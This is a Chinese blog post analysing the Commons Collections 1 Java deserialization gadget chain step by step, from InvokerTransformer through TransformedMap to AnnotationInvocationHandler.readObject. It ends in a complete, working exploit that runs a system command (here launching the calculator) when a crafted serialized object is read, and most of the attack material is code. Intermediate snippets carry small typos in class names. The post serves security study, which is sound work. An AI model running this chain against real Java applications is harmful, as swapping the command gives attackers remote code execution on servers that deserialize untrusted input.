java反序列化-CC1链 分析

java反序列化-CC1链 分析

  • 首先我们再次明确一下反序列化的攻击思路。

入口类这里,我们需要一个 readObject 方法,结尾这里需要一个能够命令执行的方法。我们中间通过链子引导过去。所以我们的攻击一定是从尾部出发去寻找头的,流程图如下。

img

Common-Collections介绍

Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。

  • 简单来说,Common-Collections 这个项目开发出来是为了给 Java 标准的 Collections API 提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。

终点-利用点

CC1链的源头就是Commons Collections库中的Tranformer接口,这个接口里面有个transform方法。

image

快捷键ctrl+alt+B,查看实现接口的类

image

我们这里找到了有重写transform方法的InvokerTransformer类,并且可以看到它也继承了Serializable,很符合我们的要求。

下面给出InvokerTransformer类的构造器和重写的transform方法。

public class InvokerTransformer implements Transformer, Serializable {

    /** The method name to call */
    private final String iMethodName;
    /** The array of reflection parameter types */
    private final Class[] iParamTypes;
    /** The array of reflection arguments */
    private final Object[] iArgs;

    private InvokerTransformer(String methodName) {
        super();
        iMethodName = methodName;
        iParamTypes = null;
        iArgs = null;
    }

    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }


    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
                
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

}

这边的参数都是可控的,同时重写的transform方法可以调用任意类的任意方法。

//这里我们回顾一下如何用反射调用Runtime的exec
Runtime r=Runtime.getRuntime();//Runtime.getRuntime() 是 Runtime 类中的一个静态方法,用来获取当前应用程序运行时的 Runtime 实例。
class c=r.getClass();
Method m=c.getMethod("exec",String.class);
m.invoke(r,"calc");

//接下来尝试用transform来调用
Runtime r=Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
invokerTransformer.transform(r);

//总结:比较上面两种方式,下面的transform相当于模拟了上述的反射过程。

image

这里成功执行了命令,那么现在我们已经寻到入口点了,接下来需要一步步回溯,寻找合适的子类,构造漏洞链,直到到达重写了readObject的类。

所以我们下一步的目标是去找调用 transform 方法的不同名函数。

构造链子第一步-寻找transform调用处

寻找哪些类中的哪些方法调用了transform方法

右键查看用法即可

那么我们这里直接看到我们需要的TransformedMap类下的checkSetValue方法

下面我们直接给出构造器和checkSetValue方法

 #TransformedMap.java   
    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        return new TransformedMap(map, keyTransformer, valueTransformer);
    }//接受参数,实例化TransformedMap这个类

	protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
        super(map);
        this.keyTransformer = keyTransformer;
        this.valueTransformer = valueTransformer;
    }//接受三个参数,第一个为Map,我们可以传入之前讲到的HashMap,第二个和第三个就是Transformer我们需要的了,可控。

    protected Object checkSetValue(Object value) {
        return valueTransformer.transform(value);
    }//返回valueTransformer对应的transform方法,那么我们这里就需要让valueTransformer为我们之前的invokerTransformer对象。相当于就是让这里的valueTransformer=invokerTransformer!!!

但是这里我们发现构造器和checkSetValue方法都是protected权限的,只能本类内部访问,无法外部调用和实例化,那么我们就需要找到内部实例化的工具。也就是上面的一个public静态方法decorate。

我们可以通过调用decorate方法来实例化TransformedMap类,然后再想办法调用checkSetValue方法。

Runtime r=Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
//invokerTransformer.transform(r);
HashMap<Object,Object> map=new HashMap<>();
Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,invokerTransformer);
//静态方法staic修饰直接类名+方法名调用
//把map当成参数传入,然后第二个参数我们用不着就赋空值null,第三个参数就是我们之前的invokerTransformer.
Class<TransformedMap> transformedMapClass = TransformedMap.class;
Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
checkSetValueMethod.setAccessible(true);
checkSetValueMethod.invoke(transformedmap,r);

image

构造链子第二步-寻找checkSetValue调用处

checkSetValue寻找用法,发现只有一处调用了checkSetValue(AbstractInputCheckedMapDecorator类的setValue)

image

	static class MapEntry extends AbstractMapEntryDecorator {

        /** The parent map */
        private final AbstractInputCheckedMapDecorator parent;

        protected MapEntry(Map.Entry entry, AbstractInputCheckedMapDecorator parent) {
            super(entry);
            this.parent = parent;
        }

        public Object setValue(Object value) {
            value = parent.checkSetValue(value);
            return entry.setValue(value);
        }
    }

Entry代表的是Map中的一个键值对,而我们在Map中我们可以看到有setValue方法,而我们在对Map进行遍历的时候可以调用setValue这个方法

image

而上面副类MapEntry实际上是重写了setValue方法,它继承了AbstractMapEntryDecorator这个类,这个类中存在setValue方法,

public abstract class AbstractMapEntryDecorator implements Map.Entry, KeyValue {
    ...
    protected final Map.Entry entry;
    ...
    public Object setValue(Object object) {
        return entry.setValue(object);
    }

而这个类又引入了Map.Entry接口,所以我们只需要进行常用的Map遍历,就可以调用setValue方法,然后水到渠成地调用checkSetValue方法:

Runtime r=Runtime.getRuntime();
InvokerTransformer invokerTransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
// invokerTransformer.transform(r); <--- 相当于下面的代码是模拟这行代码,实现相同的功能
HashMap<Object,Object> map=new HashMap<>();
map.put("meteorkai","meteorkai"); //给map一个键值对,方便遍历
Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,invokerTransformer);
//后面是要调用checkSetValue方法,那么可以通过遍历Map来调用setValue方法,然后水到渠成调用checkSetValue方法
for(Map.Entry entry:transformedmap.entrySet()){//遍历Map常用格式
    entry.setValue(r);//调用setValue方法,并把对象r当作对象传入
}

image

到这里我们先重头理一下:

首先,我们找到了TransformedMap这个类,我们需要调用它的checkSetValue方法从而来调用transform方法,但是这个类的构造器和checkSetValue方法都是protected权限,只能从类中访问,所以我们需要用decorate方法来实例化这个类。在此之前我们需要实例化一个hashmap,因为decorate方法中需要传入,并且调用put方法给他赋值以便他遍历map从而调用setValue方法。然后把这个map当成参数传入,实例化成了一个transformedmap对象,这个对象也是Map类型的,然后我们对这个对象进行遍历,在遍历过程中我们可以调用setValue方法,而恰巧又遇到了重写的setValue的副类,这个重写的方法刚好调用了checkSetValue方法,这样就形成了一个闭环。

但这只是一个小插曲,终究不是我们所希望的readObject方法,我们需要一个readObject方法来代替上述的遍历Map功能。

构造链子第三步-寻找setValue调用处-链首

如果能找到一个 readObject() 里面调用了 setValue() 就太好了

老样子,setValue寻找用法。我勒个豆,直接发现一个调用了setValue的readObject方法。很完美的实现了代替之前Map遍历功能

image

class AnnotationInvocationHandler implements InvocationHandler, Serializable {
    private static final long serialVersionUID = 6182022883658399397L;
    private final Class<? extends Annotation> type;
    private final Map<String, Object> memberValues;

    AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        //接受两个参数,第一个是继承了注解的class,第二个是个Map,第二个参数我们可控,可以传入我们之前的transformedmap类
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }


	private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        s.defaultReadObject();

        // Check to make sure that types have not evolved incompatibly

        AnnotationType annotationType = null;
        try {
            annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
            // Class is no longer an annotation type; time to punch out
            throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map<String, Class<?>> memberTypes = annotationType.memberTypes();

        // If there are annotation members without values, that
        // situation is handled by the invoke method.
        for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
            String name = memberValue.getKey();
            Class<?> memberType = memberTypes.get(name);
            if (memberType != null) {  // i.e. member still exists
                Object value = memberValue.getValue();
                if (!(memberType.isInstance(value) ||
                      value instanceof ExceptionProxy)) {
                    memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                            value.getClass() + "[" + value + "]").setMember(
                                annotationType.members().get(name)));
                }
            }
        }
    }

可以看到这个类中的memberValues是可控的,这样我们就看传入自己需要的,然后实现setValue方法。根据前面的entry.setValue,那么这里的memberValue就要相当于entry,memberValues就相当于是transformedmap。

但是这里有个问题,就是我们可以看到定义这个类的时候,并没有public之类的声明,那么说明这个类只能在本包下被调用(sun.reflect.annotation),我们想要在外部调用,就需要进行反射。

public static void main(String[] args) throws Exception {
	Runtime r=Runtime.getRuntime();
    InvokerTransformer invokertransformer=new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
    //invokerTransformer.transform(r);
    HashMap<Object,Object> map=new HashMap<>();
    map.put("meteorkai","meteorkai");
    Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,invokertransformer);
    /*for(Map.Entry entry:transformedmap.entrySet()) {
            entry.setValue(r);
      }*/
    //反射获取AnnotationInvocationHandler类
    Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class);//获取构造器
    constructor.setAccessible(true);//修改作用域
    Object o=constructor.newInstance(Override.class,transformedmap);//这里第一个是参数是注解的类原型,第二个就是我们之前的类
    serialize(o);
    unserialize("ser.bin");
}

public static void serialize(Object object) throws Exception{
    ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
    oos.writeObject(object);
}

public static void unserialize(String filename) throws Exception{
    ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
    ois.readObject();
}

但是,当我们满怀期待执行这串代码时,并没有弹出计算器!其实这段代码还是存在很多缺陷的。我们往下分析

弥补链子缺陷

一、Runtime类不能序列化

image

我们跟进Runtime类可以发现他并没有继承serializable接口,不能进行序列化。

此时我们可以通过反射来获取Runtime类的原型类,它的原型类class是存在serializable接口的,Runtime.class 是可以序列化的。

那么我们如何获得一个实例化对象呢?可以看到这里存在一个静态的getRuntime()方法,会返回一个Runtime对象,相当于是一种单例模式。

Class rr=Class.forName("java.lang.Runtime");//获取类原型
Method getRuntime=rr.getDeclaredMethod("getRuntime",null);//获取getRuntime方法
Runtime r=(Runtime)getRuntime.invoke(null,null);//获取实例化对象,因为该方法为无参方法,所以全为null
Method exec=rr.getDeclaredMethod("exec",String.class);//获取exec方法
exec.invoke(r,"calc");//执行命令

上述这样就可以实现序列化,那么接下来我们用transform来实现

Class rr=Class.*forName*("java.lang.Runtime");

/*Method getRuntime= rr.getDeclaredMethod("getRuntime",null);
Runtime r=(Runtime) getRuntime.invoke(null,null);
Method exec=rr.getDeclaredMethod("exec", String.class);
exec.invoke(r,"calc");*/
//利用transform方法实现上述代码
Method getRuntime=(Method)new Invokertransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);//这里模拟获取getRuntime方法,它的具体操作步骤类似之前

Runtime r=(Runtime)new Invokertransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntime);//这里模拟获取invoke方法

new Invokertransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);//这里模拟获取exec方法,并进行命令执行

但是这样要一个个嵌套创建参数太麻烦了,我们这里找到了一个Commons Collections库中存在的ChainedTransformer类,它也存在transform方法可以帮我们遍历InvokerTransformer,并且调用transform方法

image

Class rr=Class.*forName*("java.lang.Runtime");
//创建一个Transformer数值用于储存InvokerTransformer的数据,便于遍历
Transformer[] transformers=new Transformer[]{
    new Invokertransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
    new Invokertransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
    new Invokertransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
//调用含参构造器传入Transformer数组,然后调用transform方法,这里对象只需要传一个原始的Runtime就行,因为其他都是嵌套的。
ChainedTransformer chainedtransformer=new Chainedtransformer(transformers);
chainedtransformer.transform(Runtime.class);

第一个问题-Runtime类不能序列化-成功解决,但依然没有弹出计算器。

不只一个问题。

二、绕过AnnotationInvocationHandler类readObject方法中的判断条件

image

这里存在两处判断需要绕过

if (memberType != null) {
if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {

首先看第一个判断语句,是对memberType进行判断的。跟踪memberType,是从memberTypes来的,memberTypesu又是从annotationType.memberTypes();来的,而annotationType又是从annotationType = AnnotationType.getInstance(type);来的。

那么其实就是从type来的。

image

type其实是从构造器传参来的

AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
        Class<?>[] superInterfaces = type.getInterfaces();
        if (!type.isAnnotation() ||
            superInterfaces.length != 1 ||
            superInterfaces[0] != java.lang.annotation.Annotation.class)
            throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
        this.type = type;
        this.memberValues = memberValues;
    }

再回头看我们对构造器的传参,发现type对应Override.class,这里memeberType是获取注解中成员变量的名称,然后并且检查键值对中键名是否有对应的名称,而我们所使用的注解是没有成员变量的

Object o=constructor.newInstance(Override.class,transformedmap);

image

而我们发现另一个注解:Target中有个名为value的成员变量,所以我们就可以使用这个注解,并改第一个键值对的值为value即可通过两个判断。

但是依然不能弹计算器。

三、checkSetValue传入值不是Runtime.class

image

我们可以发现readObject方法中setValue传入的参数并不是Runtime.class,而是一个奇奇怪怪的东西。

  • 我们这里找到了一个能够解决 setValue 可控参数的类 ———— ConstantTransformer

image

我们看到这个类里面也有transform,和构造器配合使用的话,我们传入什么值,就会返回某个值,这样就能将value的值转为Runtime.class

因此接下来给出我们的最终EXP:

public static void main(String[] args) throws Exception {
        Class rr=Class.forName("java.lang.Runtime");
//创建一个Transformer数值用于储存InvokerTransformer的数据,便于遍历
        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(Runtime.class),//这里解决问题三
                new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedtransformer=new ChainedTransformer(transformers);
        //上述利用反射获取类原型+transformer数组+chainedtransformer遍历实现transform方法,来解决问题一中的无法序列化问题。
        HashMap<Object,Object> map=new HashMap<>();
        map.put("value","value");//这里是问题二中改键值对的值为注解中成员变量的名称,通过if判断
        Map<Object,Object> transformedmap=TransformedMap.decorate(map,null,chainedtransformer);
        Class c=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor=c.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object o=constructor.newInstance(Target.class,transformedmap);//这里是问题二中第一个参数改注解为Target
//        serialize(o);
        unserialize("ser.bin");
    }

    public static void serialize(Object object) throws Exception{
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(object);
    }

    public static void unserialize(String filename) throws Exception{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(filename));
        ois.readObject();
    }

image

成功弹出计算器。

接下来叙述一下整条cc1链的流程

image

posted @ 2024-11-07 09:53  Meteor_Kai  阅读(55)  评论(0)    收藏  举报